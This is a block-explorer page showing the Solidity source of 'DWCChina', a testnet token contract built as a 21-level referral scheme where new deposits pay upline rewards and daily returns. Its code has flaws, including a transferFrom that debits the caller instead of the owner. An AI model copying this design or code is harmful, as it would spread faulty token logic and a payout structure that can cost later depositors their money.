Amoy Testnet

Contract Diff Checker

Contract Name:
DWCChina

Contract Source Code:

File 1 of 1 : DWCChina

/**
 *Submitted for verification at amoy.polygonscan.com on 2024-12-11
*/

// SPDX-License-Identifier: UNLISCENSED
pragma solidity ^0.6.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DWCChina  {
    IERC20 public dai;
    string public name = "DWC";
    string public symbol = "DWC";
    uint256 public totalSupply =32500000*10**18; // 325 lakh tokens
    uint8 public decimals = 18;
    struct User {
        uint id;        
        address referrer;
        uint partnersCount;        
        uint256 teamCount;    
        address[] directIds;    
        uint256 totalDeposit;  
        uint256 lastDeposit;
        uint256 directBusiness; 
        uint256 reward;
        uint256 levelincome;
        uint256 roraltyincome;
        uint256 maturityincome;
        uint256 totalreward;
        uint256 totalwithdraw;     
         
    }
    struct OrderInfo {
        uint256 amount; 
        uint256 holdingbonus;
        uint256 deposit_time;
        uint256 freeze_time;
        uint256 reward_time;
        bool ishelp;
        bool isactive;
        bool isdai;
        uint256 dayRewardPercents;
        uint256 withdraw_time;
        uint withno;
    }
    struct Rank
    {
        uint id;
        uint activedirect;
        uint activeteam;
    }
    struct UserRank
    {
        uint rank;
    }
    struct UserCapping
    {
        uint256 totalCapping;
        uint256 useCapping;
    }
    mapping(address => User) public users;
    mapping(address => UserRank) public userranks;
    mapping(address => UserCapping) public userscapping;
    mapping(address => OrderInfo[]) public orderInfos;
    mapping(uint=>Rank) public map_ranks;
    uint256 private constant minDeposit = 50e18;
    uint256 private constant  maxDeposit=5000e18;
    uint256 public liquidityPool_tokenAmount;
    uint256 public liquidityPool_daiAmount;
    uint256 public _burnToken;
    address public id1=0x9Ed2CFa3ebdE315FdbfC60859f093E07a52d131f;
    address public communityHoldingFund=0x3BB195603e1ec562CfE406047b2718B4226cfa2A;
    address public dwctokenPool=0x5427F55e590f70bE2967A891EA119e66c20262fF;    
    address public liquidityPool=0xd9845cEE17F9aA07C507b6ad55eB93A9ad2221Bc;
    address public extraPool=0xd9845cEE17F9aA07C507b6ad55eB93A9ad2221Bc;
    address public creater;
    address[5] public feewallet=[0x53888f004F49e78a41acE9261104956fE8c1199a,0x91D1eBdEBa71A59661C914C849F9dF45C812CFAf,0xfecc9357583a2F0b8Dc62335447e62f5A882477A];
    uint256[5] private feePercents = [300,50,50,50,50];
    uint public lastUserId = 2;
    uint256 private constant referDepth = 21;
    uint256 private constant interval=5*60;
    uint256 private constant timeStepdaily=interval;
    uint256 private timeLiquidityLock;
    uint256 private dayRewardPercents = 1;
    uint256[21] private levelPercents = [500,200,100,50,25,25,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20];
    uint256[21] private levelwPercents = [1000,100,100,100,100,100,100,100,100,100,100,50,50,50,50,50,50,50,50,50,50];
    uint256[21] private levelRank = [0,1,1,2,2,3,3,3,4,4,5,5,5,5,5,6,6,6,6,6,6];
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner,address indexed _spender,uint256 _value);

    event Deposit(address indexed addr, uint256 amount, uint256 token);
    event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);   
    event Transaction(address indexed user,address indexed from,uint256 value, uint8 level,uint8 Type);
    event Withdraw(address indexed user,uint256 value);
    event Swap(address indexed user,uint256 token,uint256 value);
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;    
     
    constructor(address _daiAddr) public {
        creater=msg.sender;
        dai = IERC20(_daiAddr);   
        balanceOf[dwctokenPool] =100000*10**18;
        balanceOf[communityHoldingFund] =31890000*10**18;
        balanceOf[liquidityPool] =10000*10**18;
        balanceOf[extraPool] =500000*10**18;
        emit Transfer(address(0), dwctokenPool, 100000*10**18);
        emit Transfer(address(0), communityHoldingFund, 31890000*10**18);
        emit Transfer(address(0), liquidityPool, 10000*10**18);
        emit Transfer(address(0), extraPool, 500000*10**18);
        User memory user = User({
            id: 1,            
            referrer: address(0),
            partnersCount: 0,
            teamCount: 0,
            directIds:new address[](0),
            directBusiness:0,
            totalDeposit:500e18,
            lastDeposit:500e18,
            reward:0,
            levelincome:0,
            roraltyincome:0,
            maturityincome:0,
            totalreward:0,
            totalwithdraw:0
            
        }); 
        users[id1] = user;
        userranks[id1].rank = 6;
        userscapping[id1].totalCapping =500e18; 
        orderInfos[id1].push(OrderInfo(
            500e18, 
            0,
            block.timestamp, 
            block.timestamp+15*interval, 
            block.timestamp,
            false,
            true,true,100,block.timestamp+20*interval,3
        ));
        map_ranks[1] = Rank({id:1,activedirect:2,activeteam:0}); 
        map_ranks[2] = Rank({id:2,activedirect:1,activeteam:5}); 
        map_ranks[3] = Rank({id:3,activedirect:2,activeteam:10}); 
        map_ranks[4] = Rank({id:4,activedirect:3,activeteam:13}); 
        map_ranks[5] = Rank({id:5,activedirect:4,activeteam:15}); 
        map_ranks[6] = Rank({id:6,activedirect:5,activeteam:18});
        liquidityPool_tokenAmount=10000e18;
        liquidityPool_daiAmount=10000e18;
        timeLiquidityLock=block.timestamp;
    } 
    function register(address referrerAddress) external  {        
        registration(msg.sender, referrerAddress);
    }
    function registration(address userAddress, address referrerAddress) private {
        require(!isUserExists(userAddress), "user exists");
        require(isUserExists(referrerAddress), "referrer not exists");
        User memory user = User({
            id: lastUserId,            
            referrer: referrerAddress,
            partnersCount: 0,
            teamCount: 0,
            directIds:new address[](0),
            directBusiness:0,
            totalDeposit:0,
            lastDeposit:0,
            reward:0,
            levelincome:0,
            roraltyincome:0,
            maturityincome:0,
            totalreward:0,
            totalwithdraw:0
        });        
        users[userAddress] = user;
        users[userAddress].referrer = referrerAddress;
        lastUserId++;        
        emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
    }
    function deposit(uint256 _amount) external {
        dai.transferFrom(msg.sender,address(this),_amount);
        _amount=_amount*2;
        require(_amount >= users[msg.sender].lastDeposit && _amount >= minDeposit && _amount%minDeposit == 0 && _amount <= maxDeposit, "less than min");
        require(isUserExists(msg.sender), "user is not exists. Register first.");
        inactivedHolding(msg.sender);  
        _deposit(msg.sender,_amount);
    }
    function depositdwc(uint256 _amount) external {
        uint256 _token=_daiToTokens(_amount);
        _transfer(msg.sender,communityHoldingFund,_token);
        _amount=_amount*2;
        require(_amount >= users[msg.sender].lastDeposit && _amount >= minDeposit && _amount%minDeposit == 0 && _amount <= maxDeposit, "less than min");
        require(isUserExists(msg.sender), "user is not exists. Register first.");
        inactivedHolding(msg.sender);  
        _depositdwc(msg.sender,_amount);
    }
    function deposit2(uint rewardindex) external {
        require(isUserExists(msg.sender), "user is not exists. Register first.");
        inactivedHolding(msg.sender); 
        bool _flag=false; 
        OrderInfo storage order = orderInfos[msg.sender][rewardindex];		 
		if(!order.ishelp)
        {
			if(block.timestamp>=order.freeze_time && block.timestamp<order.freeze_time+2*interval) { 
                _flag=true;
		    }
			else {
                _flag=false;
            }
            dai.transferFrom(msg.sender, address(this), order.amount/2);
            orderInfos[msg.sender][rewardindex].ishelp=true;
            uint256 _token=_daiToTokens(order.amount/2);
            liquidityPool_daiAmount+=order.amount/2;
            if(balanceOf[dwctokenPool]>=_token) {
                liquidityPool_tokenAmount+=_token*90/100;        
                _transfer(dwctokenPool,communityHoldingFund, _token*10/100); 
                _transfer(dwctokenPool,liquidityPool, _token*90/100);
            }
            else {
                liquidityPool_tokenAmount-=_token;  
                _transfer(liquidityPool,communityHoldingFund, _token);
            }
            if(!_flag){
                order.reward_time=block.timestamp;
                order.withdraw_time=block.timestamp+20*interval;
                order.isactive=true;
            }
		}
    }
   
    function _deposit(address userAddress,uint256 _amount) private {        
        
        address referrerAddress= users[userAddress].referrer;
        users[referrerAddress].directBusiness+=_amount;        
        if(users[userAddress].totalDeposit==0)        
        {
            users[referrerAddress].partnersCount++;
            users[referrerAddress].directIds.push(userAddress);            
            _updateTeamNum(msg.sender,1);
        }  
        else {
            _updateTeamNum(msg.sender,0);
        }
        users[userAddress].totalDeposit +=_amount; 
        userscapping[userAddress].totalCapping +=_amount;
        uint256 _rate=coinRate();
        uint256 _token=_daiToTokens(_amount/2);
        liquidityPool_daiAmount+=_amount/2;
        if(balanceOf[dwctokenPool]>=_token) {
            liquidityPool_tokenAmount+=_token*90/100;        
            _transfer(dwctokenPool,communityHoldingFund, _token*10/100); 
            _transfer(dwctokenPool,liquidityPool, _token*90/100);
        }
        else {
            liquidityPool_tokenAmount-=_token;  
            _transfer(liquidityPool,communityHoldingFund, _token);
        }
        users[userAddress].lastDeposit=_amount;
        orderInfos[userAddress].push(OrderInfo(
            _amount, 0,
            block.timestamp, 
            block.timestamp+15*interval, 
            block.timestamp,
            false,
            true,
            true,100,block.timestamp+20*interval,3
        ));
        for(uint i=0;i<5;i++)
        {
            _transfer(communityHoldingFund,feewallet[i], _token*2*feePercents[i]/10000); 
        }
        _distributelevelreward(userAddress,_amount,_rate); 
        _distributeroyaltyreward(userAddress,_amount,_rate);        
        emit Deposit(userAddress,_amount,_token*2);
        
    }
    function _depositdwc(address userAddress,uint256 _amount) private {        
        
        address referrerAddress= users[userAddress].referrer;
        users[referrerAddress].directBusiness+=_amount;        
        if(users[userAddress].totalDeposit==0)        
        {
            users[referrerAddress].partnersCount++;
            users[referrerAddress].directIds.push(userAddress);
            _updateTeamNum(msg.sender,1);
        }  
        else {
            _updateTeamNum(msg.sender,0);
        }
        users[userAddress].totalDeposit +=_amount; 
        userscapping[userAddress].totalCapping +=_amount;  
        uint256 _rate=coinRate();        
        uint256 _token=_daiToTokens(_amount/2);

        users[userAddress].lastDeposit=_amount;
        orderInfos[userAddress].push(OrderInfo(
            _amount, 0,
            block.timestamp, 
            block.timestamp+15*interval, 
            block.timestamp,
            false,
            true,
            false,100,block.timestamp+20*interval,3
        ));
        for(uint i=0;i<5;i++)
        {
            _transfer(communityHoldingFund,feewallet[i], _token*2*feePercents[i]/10000); 
        } 
        _distributelevelreward(userAddress,_amount,_rate); 
        _distributeroyaltyreward(userAddress,_amount,_rate);        
        emit Deposit(userAddress,_amount,_token*2);
        
    }
    function _distributelevelreward(address _user, uint256 _amount,uint256 _rate) private {
        address upline = users[_user].referrer;
        for(uint8 i = 0; i < referDepth; i++){
            if(upline != address(0)){
                if(userranks[upline].rank>=levelRank[i])
                {
                    if(users[upline].totalDeposit>0)
                    {                        
                        uint256 reward=_amount*levelPercents[i]/10000;                        
                        uint256 _remainingCapping=this.maxPayoutOf(upline);  
                        if(_remainingCapping>0)
                        {
                            if(_remainingCapping<reward){
                                reward=_remainingCapping;                        
                            }
                            users[upline].levelincome +=reward;                       
                            users[upline].totalreward +=reward; 
                            userscapping[upline].useCapping +=reward;
                            _transfer(communityHoldingFund,upline,reward*1e18/_rate);
                            emit Transaction(upline,_user,reward,(i+1),2); 
                        }
                    }
                }
                upline = users[upline].referrer;                
            }else{
                break;
            }
        }
    }
    function _distributeroyaltyreward(address _user, uint256 _amount,uint256 _rate) private {
        address upline = users[_user].referrer;
        uint levelranks=0;
        uint isbreak=0;
        uint256 differentincome=0;
        uint256 secondlevelincome=0;
        for(uint8 i = 0; i < 50; i++){            
            if(upline != address(0)){
                if(userranks[upline].rank==5 || userranks[upline].rank==6) {
                    if(levelranks==0)
                    {
                        if(userranks[upline].rank==6) {                   
                            differentincome=2;
                            secondlevelincome=1;
                            levelranks=5;
                        }
                        else {
                            differentincome=1;
                            secondlevelincome=2;
                            levelranks=6;
                        }
                    }
                    else {
                        if(userranks[upline].rank==levelranks) {                   
                            differentincome=secondlevelincome;
                            isbreak=1;                        
                        }
                    }
                    if(differentincome>0){
                        uint256 reward=_amount*differentincome/100;  
                        differentincome=0;                      
                        uint256 _remainingCapping=this.maxPayoutOf(upline);  
                        if(_remainingCapping>0)
                        {
                            if(_remainingCapping<reward){
                                reward=_remainingCapping;                        
                            }
                            users[upline].roraltyincome +=reward;                       
                            users[upline].totalreward +=reward; 
                            userscapping[upline].useCapping +=reward;
                            _transfer(communityHoldingFund,upline,reward*1e18/_rate);
                            emit Transaction(upline,_user,reward,(i+1),3); 
                        }
                        if(isbreak==1 || upline == id1) break;
                    }
                }
                upline = users[upline].referrer;    
                        
            }else{
                break;
            }
        }
    }
    function _distributelevelwithdraw(address _user, uint256 _amount,uint256 _rate) private {
        address upline = users[_user].referrer;
        for(uint8 i = 0; i < referDepth; i++){
            if(upline != address(0)){
                if(userranks[upline].rank>=levelRank[i])
                {
                    if(users[upline].totalDeposit>0)
                    {                        
                        uint256 reward=_amount*levelwPercents[i]/10000;                        
                        uint256 _remainingCapping=this.maxPayoutOf(upline);  
                        if(_remainingCapping>0)
                        {
                            if(_remainingCapping<reward){
                                reward=_remainingCapping;                        
                            }
                            users[upline].maturityincome +=reward;                       
                            users[upline].totalreward +=reward; 
                            userscapping[upline].useCapping +=reward;
                            _transfer(communityHoldingFund,upline,reward*1e18/_rate);
                            emit Transaction(upline,_user,reward,(i+1),4); 
                        }
                    }
                }
                upline = users[upline].referrer;                
            }else{
                break;
            }
        }
    }
    function _calLevelNow(address _user) private {        
        uint256 totaldirect  = users[_user].partnersCount;
        uint256 directBusiness  = users[_user].directBusiness;
        uint currentRank = userranks[_user].rank;
        if(currentRank>=1 && currentRank<6){            
            uint nextRank = currentRank+1;
            (, uint256 otherTeam) = getTeamCount(_user);
            uint activedirect=getActiveCount(_user,1);
            if(activedirect>=map_ranks[nextRank].activedirect && otherTeam>=map_ranks[nextRank].activeteam){
                userranks[_user].rank = nextRank;
            }
            
        }else if(totaldirect>=map_ranks[1].activedirect && directBusiness>=1000e18 && currentRank==0){
            userranks[_user].rank=1;
        }
    }
    function getTeamCount(address _user) public view returns(uint256, uint256){        
        uint256 maxTeam;
        uint256 otherTeam;
        uint256 totalTeam;
        for(uint256 i = 0; i < users[_user].directIds.length; i++){
            uint256 userTotalTeam =users[users[_user].directIds[i]].teamCount+1;            
            totalTeam+=userTotalTeam;
            if(userTotalTeam > maxTeam){
                maxTeam = userTotalTeam;
            }
        }
        otherTeam = totalTeam-maxTeam;
        return(maxTeam, otherTeam);
    }
    function getActiveCount(address _user,uint _rank) public view returns(uint256){        
        uint256 activedirect=0;
        for(uint256 i = 0; i < users[_user].directIds.length; i++){
            if(userranks[users[_user].directIds[i]].rank >= _rank){
                activedirect += 1;
            }
        }
        return activedirect;
    }
    function _updateTeamNum(address _user,uint isnew) private {
        address upline = users[_user].referrer;
        for(uint256 i = 0; i < referDepth; i++){
            if(upline != address(0)){
                if(isnew==1)
                    users[upline].teamCount = users[upline].teamCount+1;
                _calLevelNow(upline);
                if(upline == id1) break;
                upline = users[upline].referrer;
            }else{
                break;
            }
        }
    }
	
    function _daiToTokens(uint256 _daiamount) public view returns(uint256)
    {
        return _daiamount*1e18/coinRate();      
    }
    function _tokensTodai(uint _tokenAmount) public view returns(uint)
    {
        return _tokenAmount*coinRate()/1e18;
    }
    
    function coinRate() public view returns(uint)
    {
        return liquidityPool_daiAmount*1e18/liquidityPool_tokenAmount;
    }
    function maxPayoutOf(address _user) external returns(uint256) {    
        inactivedHolding(_user);    
        if(userranks[_user].rank==0 || userranks[_user].rank==1)
            return (userscapping[_user].totalCapping*2-userscapping[_user].useCapping);
        else if(userranks[_user].rank==2 || userranks[_user].rank==3)
            return (userscapping[_user].totalCapping*3-userscapping[_user].useCapping);
        else if(userranks[_user].rank==4 || userranks[_user].rank==5)
            return (userscapping[_user].totalCapping*4-userscapping[_user].useCapping);
        else 
            return (userscapping[_user].totalCapping*5-userscapping[_user].useCapping);
    }
    function inactivedHolding(address _user) public {
        for(uint256 i = 0; i < orderInfos[_user].length; i++){
    	    OrderInfo storage order = orderInfos[_user][i];
            if(!order.ishelp && order.isactive)
            {
    	    	if(block.timestamp>order.freeze_time+2*interval)
    	        {
    	    	    order.isactive=false;
                }  
    	    }
        }   
    }     
    function isUserExists(address user) public view returns (bool) {
        return (users[user].id != 0);
    }    
    function getOrderLength(address _user) external view returns(uint256) {
        return orderInfos[_user].length;
    }  
    function dailyPayoutOf(address _user,uint rewardindex) private returns(uint256) {
        
		uint256 reward=0;
        OrderInfo storage order = orderInfos[_user][rewardindex];
        uint256 _remainingCapping = this.maxPayoutOf(_user);             
        if(_remainingCapping>0)
        {
            uint period=(order.withdraw_time - order.reward_time) / timeStepdaily;
            if(period>200)
            period=200;
            uint256 dailypayout =(order.amount*order.dayRewardPercents*period / 10000)-order.holdingbonus; 
            if(_remainingCapping<dailypayout){
                dailypayout = _remainingCapping;                            
            }
            if(dailypayout>0)
            { 
                reward=dailypayout;
            }                    
        }
        else {
            order.isactive=true;
        }
		return (reward);
    }
    function rewardWithdraw(uint rewardindex) public
    {
		OrderInfo storage order = orderInfos[msg.sender][rewardindex];
		if(order.isactive && order.ishelp && order.withdraw_time<block.timestamp){
            (uint256 dailypayout)=dailyPayoutOf(msg.sender,rewardindex); 
            uint256 _rate=coinRate();
		    users[msg.sender].reward +=dailypayout;
		    users[msg.sender].totalreward +=dailypayout;
            userscapping[msg.sender].useCapping +=dailypayout;
            emit Transaction(msg.sender,msg.sender,dailypayout,1,1); 
			order.withdraw_time+=(order.withno)*10*interval;    
            order.withno+=1;
            order.holdingbonus+=dailypayout;              
            users[msg.sender].totalwithdraw+=dailypayout;
            _transfer(communityHoldingFund,msg.sender,dailypayout*1e18/_rate);
            _distributelevelwithdraw(msg.sender,dailypayout,_rate);
            
            emit Withdraw(msg.sender,dailypayout);
		}
    }
    function tokenSwap(uint256 _tokenAmount) public
    {
        require(msg.sender != dwctokenPool && msg.sender != communityHoldingFund && msg.sender != liquidityPool,"Access Denied");
        uint256 _dai;
		require(balanceOf[msg.sender]>=_tokenAmount, "Insufficient token balance!"); 
        uint256 deduction=_tokenAmount*2/100;
        if((_burnToken+deduction)>10000000e18){
            deduction=10000000e18-_burnToken;
        }
        if(deduction>0){      
            uint256 tokenAmount=_tokenAmount-deduction; 
            _dai=_tokensTodai(tokenAmount);
            liquidityPool_tokenAmount+=tokenAmount;
            liquidityPool_daiAmount-=_dai;
            _dai=_tokensTodai(tokenAmount);
            _transfer(msg.sender,liquidityPool,tokenAmount);
            dai.transfer(msg.sender, _dai); 
            _burnToken+=deduction;
            _burn(msg.sender,deduction);
            emit Transfer(msg.sender,address(0), deduction);
        }
        else {
            _dai=_tokensTodai(_tokenAmount);
            liquidityPool_tokenAmount+=_tokenAmount;
            liquidityPool_daiAmount-=_dai;
            _dai=_tokensTodai(_tokenAmount);
            _transfer(msg.sender,liquidityPool,_tokenAmount);
            dai.transfer(msg.sender, _dai);            
        }
        emit Swap(msg.sender,_tokenAmount,_dai);
    }
    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(msg.sender != dwctokenPool && msg.sender != communityHoldingFund && msg.sender != liquidityPool,"Access Denied");
        _transfer(msg.sender,_to,_value);
        return true;
    }
    function _transfer(address _from,address _to, uint256 _value) internal {
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
    }
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }    
    function transferFrom(address _from,address _to,uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);
        _transfer(msg.sender,_to,_value);
        allowance[_from][msg.sender] -= _value;
        return true;
    }
    
    function burn(uint256 amount,address account) public returns (bool) {
        if (msg.sender != dwctokenPool) {revert("Access Denied");}
        _burn(account, amount);
        return true;
    }
    function _burn(address account, uint256 amount) internal virtual 
    {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = balanceOf[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        require(totalSupply>=amount, "Invalid amount of tokens!");
        balanceOf[account] = accountBalance - amount;        
        totalSupply -= amount;
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):